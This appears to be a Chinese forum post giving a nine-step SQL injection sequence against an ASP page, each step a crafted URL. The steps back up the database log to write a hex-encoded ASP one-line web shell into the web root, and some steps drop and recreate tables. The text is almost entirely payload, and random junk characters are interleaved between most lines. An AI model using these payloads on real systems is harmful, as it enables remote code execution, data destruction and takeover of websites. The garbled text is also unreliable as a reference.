第一步# O( w0 [7 F$ N( G
http://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--( t: j9 A# r6 R
+ f# ~& t8 \* R第二步:
! ~+ [3 } c) F6 ahttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--% p0 l# C5 [2 U$ X3 ]. C
5 U L$ `' R* y. m* e
第三步" M. V5 g/ t. h' C# C2 S4 V& f' v& K
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--0 w4 U3 `* Q8 B6 a( x+ J
- u! p1 E3 o f! }* C$ g第四步8 B1 A5 |7 i: ?& o' z
http://itpro.blog.163.com/test.asp';create/**/table/**/[itpro]([a]/**/image)--
* S8 k2 ]% A) a3 z$ Z
: M- N! ^( [* g$ B$ e6 ~第五步/ j7 W* V1 x2 k
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--3 ^$ \! K- x6 J/ K3 u, j& R+ n
% I3 \1 S/ j# N- T9 J1 y第六步) \1 q/ f" b6 b% V
http://itpro.blog.163.com/test.asp';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--& C+ a* ^# V& n* o9 e
6 _- F- E; b) v) o+ e9 p h# O _
第七步7 M7 E- ? l: T8 U2 ?# n
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
2 ^+ c* }( u6 g; \5 P& ^% s' s3 n3 _; {# ~! Z) i9 J7 j! ^
第八步9 y+ K9 a8 r+ k6 @2 k0 T! }
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--6 N# [- k0 X- ~
$ P9 @1 y; M" \, `第九步" }! f' v+ U" g" F0 l; b
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
- i9 _3 B- v, q# n% l |